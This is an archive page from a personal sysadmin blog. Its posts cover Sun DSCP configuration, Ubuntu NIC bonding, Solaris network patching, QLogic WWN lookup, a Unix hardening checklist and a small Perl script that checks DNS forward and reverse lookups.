Showing posts with label network. Show all posts
Showing posts with label network. Show all posts

Monday, February 23, 2009

Sun M-Series Enterprise Unix Servers And DSCP - Why?

SPECIAL NOTE: Friday's post on the absorption of knowledge was written on Blogspot in IE7 and suffered from some horrible display problems on FireFox and other browsers. It has been completely retooled. Apologies for any inconvenience that post caused. Even though I write some goofy rants, missing text wasn't supposed to be part of that post's intentionally cryptic style. Thanks :) - Mike

Hey there,

Today, we're going to look at DSCP (The Domain to Service processor Communication Protocol) and why it was introduced with the newer M series Enterprise servers from Sun. The first time I ran into it, I thought approximately the following: All right, here's something else that can make my life more complicated ;) Now, not only do I have to hop onto a private network (added security at work) to connect to the service processor (SP), but then I have to be sure that an entirely separate network is functioning correctly in order for me to connect to a domain on my machine if I want to get there directly from the SP. I'm naturally negative, but I keep it inside until I've given myself the time to realize that things are either not as bad or better than I initially assumed, which goes a long way toward maintaining good relationships with other human beings ;)

DSCP, although it "is" another layer of complication, is actually a pretty good idea. In essence, it's an attempt at damage control and resource sharing (which almost never works entirely), on par with earlier "HUGE" Sun computers, which does a pretty decent job at a relatively low cost. And, I use the word "cost" in reference to the amount of work you have to put into getting it all set up and working correctly. It's practically free, in that respect, so kudos (The plural, pronounced kyu-doze) to Sun for adding a little extra protection and making it an additon to an existing model that doesn't encumber the admin or user to a noticeable degree. Once it's set up, it may as well be non-existent. ...unless you have problems with it, but that's a general rule when it comes to anything.

Inter-process communication on the 6800/6900, etc boxes was handled pretty decently as well, but didn't really lay ground for the possiblity of scaling easily in the future. On those boxes, shared memory (for example) was "stuck" to a single SP, so if you had multiple SP's, you essentially had multiple machines, each alienated from the other with regards to system resources. The 6800/6900's were, as one would expect, worse in this regard than the 15k-and-up models (check out the price tags. Some times it can be an indicator of quality. Is the difference in ease of sharing worth it? Depends on your situation)

The 15k-and-up servers ran physical ethernet from the service processor(s) to the domain controllers (whereas, if I forgot to mention above, the older mailbox-architecture was imbedded and much more difficult to "change"). This setup made it slightly easier to re-allocate resources since you basically had a MAN setup on your Sun system (Maintenance Area Network for those of us who still care ;). Since the MAN operated at the application layer of the stack, all you had to do to scale up when you added a new product or application was assign a new TCP port. And that was that: Sharing made much simpler. There's a lot of nitty-gritty behind it all, but who wants to read about that? If you do, check out docs.sun.com and go nuts ;)

So, now, we've made it all the way up to the almost-present (we'll just consider it the "now" for now ;) and the M-Series servers. Since the MAN configuration of the 15k-and-up servers worked out so beneficially, that concept was guaranteed to be built in to the next generation of Enterprise computers. The one big drawback, from an architectural perspective, was the fact that the 15k-and-up servers had a whole bunch of externally exposed cables patched all over the place to maintain that separate MAN network (lots of ways to goof that up). The DSCP is Sun's way of taking care of that issue while maintaining the extended reliablity (and security) introduced with the MAN concept.

DSCP reproduces the 15k-and-up MAN using shared RAM, a pseudo-serial driver and PPP. To the user, this means all the benefits of a MAN, without all of the cords ;) Actually, it's a very nice implementation of physical-to-virtual transformation. And, as we all know, in about 10 to 15 years, we'll all be virtual and the only people left alive on the planet earth will be maintenance technicians ;)

The best thing about DSCP is how incredibly complicated it is to set up. Just kidding ;) It's actually incredibly simple. So simple that, if you're like me, you're wondering when a monkey is going to be able to start doing your job ;) Assuming an unlimited amount of Domains attached to a service processor, setup of DSCP is as simple as this:

XSCF> setdscp -i 10.0.0.1 -m 255.255.255.0
Commit these changes to the database? [y|n] : y


or, even simpler:

XSCF> setdscp
DSCP network [10.0.0.1 ] >
DSCP netmask [255.255.255.0 ] >
XSCF address [10.0.0.2 ] >
Domain #00 address [10.0.0.3 ] >
Domain #01 address [10.0.0.4 ] >


These examples are from an M4000 with only 2 domains, but the flavour stays the same on the larger boxes in the series. The only thing you really have to worry about (just like your MAN networks) is that you pick a network that doesn't get used. Generally, as shown above, using a non-routable network is best practice. Although I accidentally typed a 24-bit netmask for a class C IP (and used 1 for the network instead of 0), it doesn't really make a difference.

Of course, displaying the information is just as simple (should you forget):

XSCF> showdscp

DSCP Configuration:

Network: 10.0.0.1
Netmask: 255.255.255.0

Location Address
---------- ---------
XSCF 10.0.0.2
Domain #00 10.0.0.3
Domain #01 10.0.0.4


The key benefit, aside from the easier resource sharing that carries over from the MAN days, is the extra protection each domain is provided. Assuming an exploit is commited against one domain, whoever's gotten onto your box and screwed up that configuration will have to work harder to get to the other connected domains, since they'll have to go through the XSCF to get there. There is no absolute direct connection between domains. Although, since I know somebody out there is thinking this, it "is" still possible to attack all the domains on an M-Series machine at once; just not in an overt fashion. For instance (and I'm not encouraging this behaviour in any way whatsover) if you can create a situation whereby the administrator needs to power-cycle his/her M-Series server to restore functionality to the exploited domain, you've just brought all of the domains down in one fell swoop.

And, in closing, if you can't get to the XSCF to check out the DSCP configuration and you have the proper privilege and access to a domain hosted on an M-Series server, you can obtain that same information using the prtdscp command. Even more convenient, you can SSH (assuming you've set it up) directly from your domain to the DSCP IP using a command similar to:

host # ssh `prtdscp -s`

If you work somewhere that can afford it, enjoy the convenience :)

Cheers,

, Mike




Discover the Free Ebook that shows you how to make 100% commissions on ClickBank!



Please note that this blog accepts comments via email only. See our Mission And Policy Statement for further details.

Thursday, January 22, 2009

Setting Up Dual-Dual NIC Bonding On Ubuntu In 30 Seconds

Howdy,

Today we're going to cruise at maximum velocity, assuming that everything's fine (which it probably isn't) and plow through setting up bonding on a quad port nic card on Ubuntu in 30 seconds or less. Of course, it will probably take you longer than 30 seconds to read this post, but the people who publish books like "Linux in 5 Minutes" and "3 minute Abs" are pushing guys like me into a corner. The expectation of today's society is that everything in life should follow theory (If it "can" be done, it can be done ;) and, also, that it's very important to get things done as quickly as possible, especially if it involves dealing with people halfway across the globe from you. Of course, these expectations become more unrealistic by the minute (tick, tock) and most folks' innate need to feel like they "belong" (to what, I won't presuppose ;) keeps this bullet-train hurtling forward at ever-faster speed.

I predict that, in the future, everyone will need to see a psychiatrist daily and swallow approximately 50 mg of Valium, minimum, every 4 hours, in order to keep the heart-palpitations and nervous sweats from killing them either figuratively (as the "New World Office" eats the weak alive) or literally, since children will eventually be born with the irrational fear that they're not accomplishing as much as they should be, and most 12 year old's will be working on their 7th or 8th nervous-breakdown if they're lucky (?) enough to still be alive, in which case they can look forward to their early 20's, by which time they'll probably have worked themselves up to a nice quadruple bypass.

Now, crank the clock back about 60 years. Just 60 years. I have no point here. Just wondering: What's the rush?

The modern workplace always reminds me of a line from the film of Stephen King's "The Shawshank Redemption" - For a point of reference, the narration is that of a prison lifer who's just gotten released on parole in his golden years:

I saw an automobile once when I was young. Now they're everywhere. The world went and got itself in a big damn hurry.


Enough said. Here's a quick rundown of how to setup dual-dual bonding (two bonds of two interfaces each) on Ubuntu as quickly as possible. I wish I could spend more time with you today, but I've got s### to do ;)

The specific instructions which may or may not work for you (If they don't, don't worry, because you can't worry enough ;)

1. Add two lines to /etc/modules

bonding bond0 -o bond0 mode=1 miimon=100
bonding bond1 -o bond1 mode=1 miimon=100


If you're very good at managing your time, just remember that miimon's option determines how often the bond is monitored for failure and that mode can be one of:

0 - Round robin balancing
1 - Active back-up
2 - Transmit based on MAC address for load balancing/fault tolerance
3 - Broadcasting - provides fault tolerance by transmitting on all slave interfaces
4 - Aggregates links, assuming all nics support same speeds and duplex settings
5 - Transmit load balancing - balancing is handled by the bond based on load
6 - Same as 5, but also uses arp to balance load "better"

2. Install the ifenslave package if you haven't already. You can use apt-get to grab it if you don't:

host # apt-get install ifenslave-x.x

3. Ensure that the package actually installed:

# dpkg --get-selections | grep enslave
ifenslave-x.x install


4. Set up your interface files:

host # cat /etc/network/interfaces (only including the parts you probably need - substitute IP addresses, netmasks, etc):

auto lo
iface lo inet loopback

auto bond0
iface bond0 inet static
address 10.10.125.88
netmask 255.255.255.0
network 10.10.125.0
gateway 10.10.125.1
post-up ifenslave bond0 eth0 eth2
pre-down ifenslave -d bond0 eth0 eth2

auto bond1
iface bond1 inet static
address 10.10.127.88
netmask 255.255.255.0
network 10.10.127.0
gateway 10.10.127.1
post-up ifenslave bond1 eth1 eth3
pre-down ifenslave -d bond1 eth1 eth3


5. Add lines to the bottom of your architecture's modprobe files, reboot and pray:

host # cat /etc/modprobe.d/arch/i386

alias bond0 bonding
options bond0 mode=1 miimon=5000 max_bonds=2

alias bond1 bonding
options bond1 mode=1 miimon=5000 max_bonds=2


Congratulations, you're all set. Now get back to work ;)

Cheers,

, Mike




Discover the Free Ebook that shows you how to make 100% commissions on ClickBank!



Please note that this blog accepts comments via email only. See our Mission And Policy Statement for further details.

Wednesday, November 26, 2008

Patching Your Solaris Server From A Network Mount

Hey again,

Today we're going to take a quick look at how to patch your Solaris server from the network (not version-specific, unless you're still using 2.4 in which case I don't remember how to help you, although I'm almost positive the answer is similar ;)

The first question you might be asking yourself is "Why in the world would I ever want, or even need, to do this?" Since I'm a somewhat-honest guy who writes from the hip, I'll tell you that, depending upon where you work and what kind of setup you have there, you may never ever need to do this. If (worst case) you can get a console connection to your server (which you'll need for this method, anyway) and have onsite staff that can pop a cd in a working drive, you probably wouldn't even want to do this. So, the simple answer is: Why not? If the unlikely situation arises (and, if you're reading this in the distant future, it just might have ;), you'll know how to do it. If you set yourself up correctly, it's just one more way to get around having to come into the office in the middle of the night :)

The first thing you'll want to do is to set up a boot server or a jumpstart server. Since that topic is fairly lengthy to go over, and we've already gone over it at length, please check out this old post on begin and finish script variable definitions for Solaris' jumpstart. It's actually the last part of a series of posts on Jumpstart, but, since it wasn't posted in backward chronological order, the last link (this one) connects back to all the previous posts. You can also get a feel for some of your extended options (on both the jumpstart server and the jumpstart client) in these posts on jumpstart booting.

The second thing to do would be to ensure that you have the patch bundle you need either on the local machine, on a partition that would normally get mounted in single user mode (if you can, put them in a subdirectory of / - but only if you have the space. /usr and /var "should" always be good candidates for placement, as well, but I've done this a couple times under conditions so crippling it took me months before I could walk upright again ;). Having your patches available when you get into single user mode (with no networking) is of vital importance when you want to patch your server. Did that sound redundant? Good; because it was ;)

Now, assuming you've prepped your Jumpstart server, and have it all set up to service your client (the machine we're going to patch), it's a simple matter to get things started on your end (We'll assume that you have either a console, ALOM or other such connection to your patch client server so that you won't get disconnected from it when it goes to PROM and can interact with it at any run level or phase). The following should suffice to get the whole shebang (not to be confused with shebang ;) started:

host # id
uid=0(root) gid=0(root)
host # init 0
ok> boot net -s


And we're off. Once your server has successfully booted into single user mode on your Jumpstart, or Boot, server (see above for links to more information regarding those details), you can begin going about your business and, hopefully, finishing well before the time you promised you'd be done.

First (or is it third?), after you've booted into single user mode (no networking) and verified that you can access your patches, be sure to stop any and all unnecessary services. Most of them should be gone, but a simple "ps -ef" and "df -k" to verify that no one snuck in an init script or mount at a run level you wouldn't normally suspect might save you some headache later, and it'll probably only take about 2 or 3 minutes at most, even if you have to "terminate" a process or two. Also be sure to mount any partitions that need to be mounted if, for some reason, they don't get mounted automatically. You should get errors, when you attempt to patch, that will indicate what you need to fix if something is wrong in this regard, but it's usually best just to have things ready and not take the chance that Sun forgot to put an error-check in a script somewhere!

And the rest (much like this post) is academic. The general procedure (assuming you've downloaded a recommended patch bundle from Sun and have it in the directory /patches (or something similar), would go something like this (although possibly slightly differently if you're running Solaris 10 with zones, which case you should check out that hyperlink a few words back:

host # cd /patches
host # ./install_cluster
...
< wait and watch, or go away and come back - just make sure you see all the error messages. Most will probably be inconsequential if you're using a generic recommended patch cluster ("software that the patch patches isn't installed" or "greater revision of patch already installed" are technically errors, but can be safely ignored.
host # reboot -- -r

And, that should be that :) Remember, this is actually a much longer post, if you need to go back to the referenced posts and get details for all of the parts. I thought it would be nice to have everything in one place (or linked to one place) finally, with regards to this topic, so I wrote this patch-work wire-frame mockery of a sham ;)

Have fun patching and be sure to do it, at the very least, more often than the Cicadas hatch ;)

Cheers,

, Mike




Please note that this blog accepts comments via email only. See our Mission And Policy Statement for further details.

Wednesday, October 1, 2008

How To Easily Find The WWN's Of A QLogic HBA On RedHat Linux

Hey there,

Today's post should be nice and simple. Maybe even short... yeah ;) This is a bit of a follow-up on a post we did a long long time ago regarding Linux networking tips. It's quite a bit more specific, but remains true to the spirit of that post (from December 2007, which, still, seems like it was just last year ;)

Today, we're going to take a look at a really simple way to figure out the World Wide Name (WWN) of both your Fibre NIC's port(s) and the switch it's connected to. To add a bit of clarity here, a lot of times you'll hear a QLogic (which is what we have on the menu today) Fibre NIC referred to as an HBA (Host Bus Adapter). It's become common to interchange the meaning of the two, although, technically, the HBA is an I/O adapter that resides "between" the computer's Bus (A collection of wires that data gets transmitted through. Not a clever acronym as far as I know ;) and the Fibre Channel Loop, and deals with the overhead associated with the transfer of information between the two. This becomes even more confusing when you consider that some Fibre NIC cards either have an HBA on board or act in the capacity of an HBA. But, in the end, you have to ask yourself just one question: If you can fix one a' them doohickies when it breaks, who cares? ;)

Anyway, back to the topic of the day: Finding the port and switch WWN's for a QLogic Fibre NIC on RedHat Linux. The version we're testing on today is:

hostess # cat /etc/issue
Red Hat Enterprise Linux ES release 4 (Nahant Update 6)
Kernel \r on an \m

hostess # uname -a
Linux hostess1 2.6.9-67.0.1.ELsmp #1 SMP Fri Nov 30 11:51:05 EST 2007 i686 i686 i386 GNU/Linux


The setup on our machine is a very simple QLogic Fibre Channel Card (which comes with it's own on-board HBA), referred to by the operating system as qla2xxx (This translates to another meta-name in /etc/modprobe.conf, but since that name is an alias for this name, we'll use this one instead.). In order to find out the WWN's for this card, all we need to do is follow this simple process:

1. Find the instance of the card's name in the /proc filesystem:

host # find /proc -type d -name qla2xxx
/proc/scsi/qla2xxx
<-- Note that we referenced a directory here. Normally, you wouldn't know this, but we did, so it made the search go faster by .001 seconds (according to the "time" command which is notorious for being off by a few thousandths of a second every now and again ;)

2. cd into the qla2xxx directory and do an "ls -l" and a "file" on "*" (not really necessary, but fun :)

hostess # ls -l *
-rw-r--r-- 1 root root 0 Sep 30 12:25 1
-rw-r--r-- 1 root root 0 Sep 30 12:25 2
-rw-r--r-- 1 root root 0 Sep 30 12:25 3
-rw-r--r-- 1 root root 0 Sep 30 12:25 4
hostess # file *
1: empty
2: empty
3: empty
4: empty


3. Now, you've probably noticed that the file sizes are all 0 and the output of the file command says "empty" for all of them. This is an illusion the /proc filesystem plays. You can prove this (the long way) by copying any file into, say, /tmp and running the same commands again:

hostess # cp 1 /tmp/DELETEME
hostess # ls -l /tmp/DELETEME
-rw-r--r-- 1 root root 1033 Sep 30 12:27 /tmp/DELETEME
hostess # file /tmp/DELETEME
/tmp/DELETEME: ASCII English text


...it's interesting to note, also, that running the "stat" command doesn't even get you the correct information within the /proc filesystem. The results are the same as above: The file's empty if it's in /proc, but has mass when it's copied or moved out.

4. Now we can get our info. This egrep command pulls out all the salient information. There's a lot more output in each file and, depending upon your interests (or how bored you are right now ;), you might find a lot of it very helpful in a troubleshooting or performance-evaluation situation. First the command, then the explanation:

hostess # egrep 'QLogic|scsi-' *
1:QLogic PCI to Fibre Channel Host Adapter for QLA2342:
1:scsi-qla0-adapter-node=200000e08b12f98d;
1:scsi-qla0-adapter-port=210000e08b12f98d;
2:QLogic PCI to Fibre Channel Host Adapter for QLA2342:
2:scsi-qla1-adapter-node=200100e08b32f98d;
2:scsi-qla1-adapter-port=210100e08b32f98d;
2:scsi-qla1-target-0=50060e80039cab0a;
2:scsi-qla1-port-0=50060e80039cab0a:50060e80039cab0a:612c13:81;
3:QLogic PCI to Fibre Channel Host Adapter for QLA2342:
3:scsi-qla2-adapter-node=200000e08b18e575;
3:scsi-qla2-adapter-port=210000e08b18e575;
3:scsi-qla2-target-0=50060e80039cab1a;
3:scsi-qla2-port-0=50060e80039cab1a:50060e80039cab1a:612c13:81;
4:QLogic PCI to Fibre Channel Host Adapter for QLA2342:
4:scsi-qla3-adapter-node=200100e08b38e575;
4:scsi-qla3-adapter-port=210100e08b38e575;


The things to notice above, are that only two of the targets have the "scsi-qlaX-adapter-target" value set. This is because the "QLA2342" (qla2xxx's actual name, shown in the output) only has 2 ports (despite the four descriptors). You can actually read up more on the technical specs at QLogic's Official QLA2342 Spec Page. Notice that even "they" refer to the QLA2342 as an HBA, rather than a Fibre Channel NIC...

5. And, now, here's the information you're ultimately looking for. To find the WWN for each of the two "ports," check the egrep results for the files that came back with the word "target" in them. All four use the "port" keyword. You can grab this more succinctly off of the command line with:

hostess # grep -l "target-" *|xargs egrep -i 'QLogic|scsi' /dev/null
2:QLogic PCI to Fibre Channel Host Adapter for QLA2342:
2:Number of reqs in pending_q= 0, retry_q= 0, done_q= 0, scsi_retry_q= 0
2:SCSI Device Information:
2:scsi-qla1-adapter-node=200100e08b32f98d;
2:scsi-qla1-adapter-port=210100e08b32f98d;
2:scsi-qla1-target-0=50060e80039cab0a;
2:scsi-qla1-port-0=50060e80039cab0a:50060e80039cab0a:612c13:81;
2:SCSI LUN Information:
3:QLogic PCI to Fibre Channel Host Adapter for QLA2342:
3:Number of reqs in pending_q= 0, retry_q= 0, done_q= 0, scsi_retry_q= 0
3:SCSI Device Information:
3:scsi-qla2-adapter-node=200000e08b18e575;
3:scsi-qla2-adapter-port=210000e08b18e575;
3:scsi-qla2-target-0=50060e80039cab1a;
3:scsi-qla2-port-0=50060e80039cab1a:50060e80039cab1a:612c13:81;
3:SCSI LUN Information:


From the above, you'll know that the "adapter-port-0" line is the WWN of the port itself, and the "target-0" line is the WWN of the Fibre Switch it's connected to.

Simple as binary PI ;)

Cheers,

, Mike




Please note that this blog accepts comments via email only. See our Mission And Policy Statement for further details.

Thursday, June 19, 2008

Basic Installation Security Guidelines For Linux and Unix - Part 1a

Hey there,

Today we're back at the concept-well, and starting out a five part post on setting up a Unix or Linux system securely. This should be an interesting series of posts since I (like most folks, probably) haven't worked with every flavour of Linux or Unix out there, so this set of guidelines is more of a "rough draft" based on experience with Solaris and RedHat servers than an attempt to encompass all areas of system installation, setup and security on every possible OS. Doing so would either be incredibly vague or unbelievably presumptuous. Probably, both ;)

With that in mind, we'll get going with part 1a. Setting up the basic system and keeping it clean from the start. If you're a big fan of numbered lists, you're gonna love this post ;) Hopefully, this post (and the following to come) will generate feedback from users of other systems - or these same systems running different versions - and become a nice broad-but-useful guide to system setup and security!

Best wishes,

OS Installation Guidelines, Part 1a: Basic Setup and System Security Steps (1 of 2... as in too many to fit on one reasonably sized page ;)

1. Create a list of functions the machine will be expected to perform and the services required to fulfill those needs. Also create a map of partitions you expect to use on the disks you have available.

2. Install the basic Operating System. NOTE: If you will be using disk management software (e.g. Solstice Disk Suite, Volume Manger, LVM, Veritas Volume Manager, etc), be sure to read the documentation for these packages before doing your OS install. Most of these types of packages require free partitions to store their disk management data.

3. Download the latest Recommended Patch bundle from sunsolve.sun.com for Solaris machines. Also download the Security Patch bundle if this exists separately. Install both and reboot the machine. For Redhat, do a complete up2date run-and-reboot cycle as many times as necessary.

4. Comment out the following files in /etc/init.d (Some filenames may vary or not exist, depending on what OS you're installing. For an easy way to comment out base init.d files, assuming they're linked to run level directories, check out our old post on editing startup scripts with the vi editor. Don't let the Solaris brand name in the post put you off. It works for any OS on which you can run vi) - Note, also, that this list is pulled from a Solaris box and your security standards may require removing even more. As a general rule, if you don't need it, disable it! RedHat users can do this with chkconfig or ntsysv more easily. Solaris 10 user can make use of the svcs and svcadm commands):

a. acct ( since we prefer to control the process accounting ourselves).
b. asppp ( if we won’t be hooking up a modem to do ppp dialups to the machine).
c. autofs (if automounting not necessary)
d. autoinstall (if machine is not a bootp client)
e. cachefs.daemon (if you will not be using nfs’s cachefs subsystem)
f. cachefs.root (if you will not be using nfs’s cachefs subsystem)
g. cacheos (if you will not be using nfs’s cachefs subsystem)
h. cacheos.finish (if you will not be using nfs’s cachefs subsystem)
i. dhcp (if machine is not a dhcp server or client)
j. dtlogin (if software in use does not require X-windows default login - Removing this will not remove X-windows functionality)
k. init.dmi (if machine will not be availing itself of snmp management)
l. init.snmpdx (if machine will not be availing itself of snmp management)
m. initpcmcia ( if the machine has no pcmcia devices).
n. lp (if print services are not required)
o. mkdtab ( this script runs after installation and is never used again).
p. nfs.client (if the nfs client subsystem will not be required)
q. nfs.server (if the nfs server subsystem will not be required)
r. pcmcia (if machine has no pcmcia devices)
s. power (if machine doesn’t use individual ups power management)
t. rpc (if machine will not be using rpc services) (If the machine will be using rpc services, comment out all of the start section of the script, except for the rpcbind initialization. All other parts of this section initiate nis services, which aren't necessary if you don't use nis :)
u. sendmail (if machine will not need to be a mail receiving agent.)
v. sshd (if you'll be installing you own ssh to maintain flexibility to be more up to date with any security releases).
w. spc ( if print services are not required).
x. uucp ( if you won’t be making use of the uucp subsystem).
y. xntpd (if machine will not serve as a time server or be doing persistent ntp scanning)
z. PRESERVE (this invokes /usr/lib/expreserve, which has a known buffer-overflow bug).
aa. README (read it first, if you like).

5. rm /etc/init.d/*.old

6. Check in /etc/rc0.d, /etc/rc1.d, /etc/rc2.d and /etc/rc3.d (or your system specific run level directories) for any old links to nonexistent files. Delete these.

7. Check in the rc directories, also, for files beginning with X or lowercase s or k. Delete these files as well.

8. If sshd is running, stop it. If you don't plan on using Sun's or RedHat's packaged ssh, we'll be replacing this later. You can leave it if you like.

9. Run /etc/init.d/openssh (or /etc/init.d/sshd) start to start OpenSSH.

10. Connect to the machine via ssh to continue executing the steps in this document. This way you won’t have to worry about poor console terminal emulation creating any accidental errors in the files you will be editing.

11. After installation, ensure that all unnecessary processes have been disabled, using a simple scan of ps output, and disable any that are running and not necessary (sendmail, for instance, is a program that is notorious, on Solaris, for being reactivated as a mail sending agent after patching and/or updating!)

12. Next, be sure to check the network interface. Many of the Sun machines come with all the network ndd settings enabled, which can cause problems with some routers, which are pinned to certain speeds and don’t auto-negotiate. RedHat user's should have been asked about what network settings they wanted to enforce during installation. If not, ethtool can be used to force the required speed/duplex setting Do the following to test:

i. ftp, or scp a file from somewhere, or to somewhere over the network

ii. Run netstat –ian and check the Collisions column. This should still be at 0 for the network interface. If it isn’t, you’ll need to augment the /etc/init.d/nddconfig script, use nddconfig or (for RedHat) use ethtool (and double check the /etc/sysconfig/network and /etc/sysconfig/network-scripts/ifcfg-NICNAME files) to suit the machine and/or environment.

iii. Should you need to fix the interface, so that you get zero collisions (which collisions should, theoretically be impossible on a packet-switched network) and ensure maximum speed without any dropped packets, refer to your system's, or department's documentation. There are really no generalities that can be put to paper here. In my experience, Solaris Gig NIC's usually require auto-negotiation at the switch (for Cisco's) and adv_autoneg_cap set to 1, with all other configurable parameters set to 0, in order for them to work, while old hme interfaces require that the switch be pinned to 100mb and only the adv_100fdx_cap be set to 1 in order for them to function properly. Cut and paste the contents into /etc/init.d/nddconfig after the case/esac clause and before the exit command to ensure the configuration happens at boot time. For RedHat, update the /etc/sysconfig/network and /etc/sysconfig/network-scripts/ifcfg-NICNAME files if necessary). If hme0 gives you a really big headache on Solaris, check our older post on disabling network devices at the PROM level.

13. Comment out every unnecessary line in /etc/inetd.conf (or delete or set to "off" all unnecessary files in /etc/xinetd.d), particularly the unnecessary r-services, and ensure that all services, where applicable, are managed through tcpd – ensure that telnetd is enabled as a backup during install (but, only if you plan on using a custom SSH later, and then just in case)

Ex: ftp with: /usr/local/encap/tcp-wrappers/bin/tcpd and /usr/sbin/in.ftpd –d as the file and args.

14. Add loghost to /etc/syslog.conf: (NOTE: It is imperative that a tab, and not a space, separate the list of facilities-severities and the hostname of the remote logging host or target file!) Also Note that, at this point, if you do NOT have a syslogging server dedicated and set up, you do NOT have to complete this step (not at all, if you don't plan on using one):

*.err;*.emerg;*.crit;*.alert;mail.debug;kern.notice;auth.notice;auth.info @loghost.xyz.com
*.err;kern.debug;daemon.notice;mail.crit;auth.notice;auth.info /var/adm/messages


Also be sure to change any references to /var/console to /var/adm/console on Solaris or /dev/console on RedHat.

15. Configure sendmail to use its relay properly, if you are going to use it to send mail out. If the machine is an email server; that’s another story. NOTE: If running sendmail v8.8.8 or earlier, be sure to reverse the ruleset for S94 to ensure proper masquerading of envelope addresses from the host, if you have that feature enabled!

16. Set up networking and name services minimally:

a. Create /etc/hosts with loopback, host, logging host , default router, nameserver, and mail host information if applicable. (Note: When entering host information, ensure that the first entry in the host field is the fully qualified domain name. This is a pet peeve of mine. You can do the simple hostname first and then the FQDN. Preferably, list them both for each IP.)

b. Create and populate /etc/defaultrouter or set the DEFAULT_GATEWAY value in either of the /etc/sysconfig/network and /etc/sysconfig/network-scripts/ifcfg-NICNAME files on RedHat.

c. Edit /etc/nsswitch.conf to use "dns [ NOTFOUND="continue"]" for hosts. If you don't set NOTFOUND, the default value is "return" and this can cause issues with telnet and ftp hostname lookups, etc.

d. Create and populate /etc/resolv.conf.

17. If host is multi-homed, disable IP-forwarding by creating /etc/notrouter on Solaris. Do "echo 0 > /proc/sys/net/ipv4/ip_forward" on RedHat to disable packet routing/forwarding.

18. If possible, trim /etc/mail/aliases to include at least (and, maybe, at most) the following (be sure to execute newaliases if any changes are made):

Postmaster: root
MAILER-DAEMON: root
nobody: /dev/null
root: itopsgroup@xyz.com
itopsgroup: itopsgroup@xyz.com


19. Create /etc/shells with these contents (remove any shells you don't want to be run on your system and add any, that I forgot to include, that you do!):

/sbin/sh
/bin/ash
/bin/sh
/bin/csh
/bin/ksh
/usr/bin/ksh
/bin/false
/bin/bash
/bin/zsh
/usr/local/bin/keysh (Only include if using keysh on system)


To be continued...

, Mike

Saturday, May 24, 2008

Simple Perl Script To Demonstrate DNS Lookups In Linux

Hey There,

This weekend post is somewhat of a look-back at a previous post on we did on simple IP and hostname resolution with Perl.

The script we're putting out today is only about half as good as some of the standard hostname/IP checkers out there, and it was specifically written only to accept hostnames and not IP's. If there's a request for it, we could write out the other half, but it's probably best to check out our Perl IP/hostname resolution post and do it for yourself. It's pretty much already written, you just have to reverse the logic (or invert it) somewhat ;)

This Perl script should run on any flavour of Linux, Unix and probably even Windows , assuming you have some sort of Cygwin or MKS *nix-on-Windows setup - or want to go through and manually edit the script to switch the backslashes to forward slashes, etc, so you can use ActivePerl for Windows - Note that, of these three options, only MKS isn't freeware, so if you're working on the cheap, stick with Cygwin or ActivePerl. No offense meant to MKS; it's a fine product but starts out at around 4 or 500 dollars to buy a single developer license.

The script only takes one argument of a hostname, like so:

host # ./double.pl www.google.com

The script is basically meant to reinforce Perl's basic network lookup functions that we went over a post or so ago, and provide a relatively lame means of double-checking a lookup to determine if it's bogus.

The skeleton of the script (logically) is this:

1. Lookup the IP of the hostname supplied.
2. Lookup the hostname using the IP we got in step 1.
3. Determine if the hostname's gotten in steps 1 and 2 match.
4. If they do, then we quit; assuming everything's okay.
5. If they don't match, we lookup the IP of the second hostname we received.
6. Lookup the IP of the second hostname (that we got in step 2)
7. Determine if the IP's (gotten in steps 1 and 6) match.
8. If they do, then we quit; assuming all is well.
9. If they don't, we still quit; we just complain about it ;)

This script should also aid in examining the opposite of a double-reverse-lookup (The double-reverse-lookup being IP to Name to IP mapping, with this being Name to IP to Name mapping). Some sites use Double Reverse Lookups as a security measure, but whether or not the process protects anything at all, or is just a waste of resources, is debatable. Just do a search for it online and you'll be inundated with polemic for as long as you can stand to read.

For our purposes, this is just another way to learn more about how things work with Perl's networking functions and how you can better work with them :)

This is what you can expect to see from this script (approximately):

host # ./double.pl www.google.com

Hostname: www.google.com = IP: 64.233.167.99

IP: 64.233.167.99 = Hostname: py-in-f99.google.com

www.google.com and py-in-f99.google.com Do Not Match
Checking Reverse...

64.233.167.99 and 64.233.167.99 match
Everything is probably ok!


Here's hoping this helps you out, and best of luck if you decide to write the opposite (which would be the "real" Double Reverse Lookup :)

Cheers,


Creative Commons License


This work is licensed under a
Creative Commons Attribution-Noncommercial-Share Alike 3.0 United States License

#!/usr/bin/perl

#
# double.pl - Double Check That Hostnames Match The IP's They're Advertising
#
# 2008 - Mike Golvach - eggi@comcast.net
#
# Creative Commons Attribution-Noncommercial-Share Alike 3.0 United States License
#

use Socket;

if ( $#ARGV != 0 ) {
print "Usage: $0 hostname\n";
exit(1);
}

$entry = $ARGV[0];

$hostname1 = $entry;
$ip1 = gethostbyname($hostname1) || die "error - gethostbyname: $!\n\n";
$hostip1 = inet_ntoa($ip1) || die "error - inet_ntoa: $!\n\n";
print "\nHostname: $hostname1 = IP: $hostip1\n\n";
$hostname2 = gethostbyaddr(inet_aton($hostip1),AF_INET) || die "error - inet_aton: $!\n\n";
print "IP: $hostip1 = Hostname: $hostname2\n\n";
if ( $hostname1 eq $hostname2 ) {
print "$hostname1 and $hostname2 Match!\n";
print "Good Deal!\n\n";
exit(0);
} else {
print "$hostname1 and $hostname2 Do Not Match\n";
print "Checking Reverse...\n\n";
$ip2 = gethostbyname($hostname2) || die "error - gethostbyname: $!\n\n";
$hostip2 = inet_ntoa($ip2) || die "error - inet_ntoa: $!\n\n";
if ( $hostip1 eq $hostip2 ) {
print "$hostip1 and $hostip2 match\n";
print "Everything is probably ok!\n\n";
exit(0);
} else {
print "$hostip1 and $hostip2 don't match\n";
print "This DNS may be bogus or setup incorrectly!\n\n";
exit(0);
}
}


, Mike

Friday, April 18, 2008

Shell Script To Send Mail Using Bash File Descriptors

Hey There,

It's the weekend again, and I thought I'd wrap up this week's postings with quick script that, again, demonstrates a great way to take advantage of networking with bash using file descriptors on Linux or Unix. If you find this sort of thing fascinating (which I seem to ;), be sure to check out our orignal post on networking with bash file descriptors and the follow up regarding more things you can do with bash networking.

Note: Interestingly enough, apart from file descriptors 0, 1 and 2, you should also stay away from file descriptor 5. It seems bash uses this as its default file descriptor when a child process is created. Thankfully, I chose the number 9 (No Beatles pun intended ;)

Today's script sends email from the shell, directly to port 25 out, and is simple to run. It only takes a few arguments: Your From address, your To address, your mail server or relay, your domain and your message text (which you can put in any sort of file, as long as it's readable).

Ex:

host # ./mail.sh me@xyz.com you@xyz.com xyz.com localhost fileName


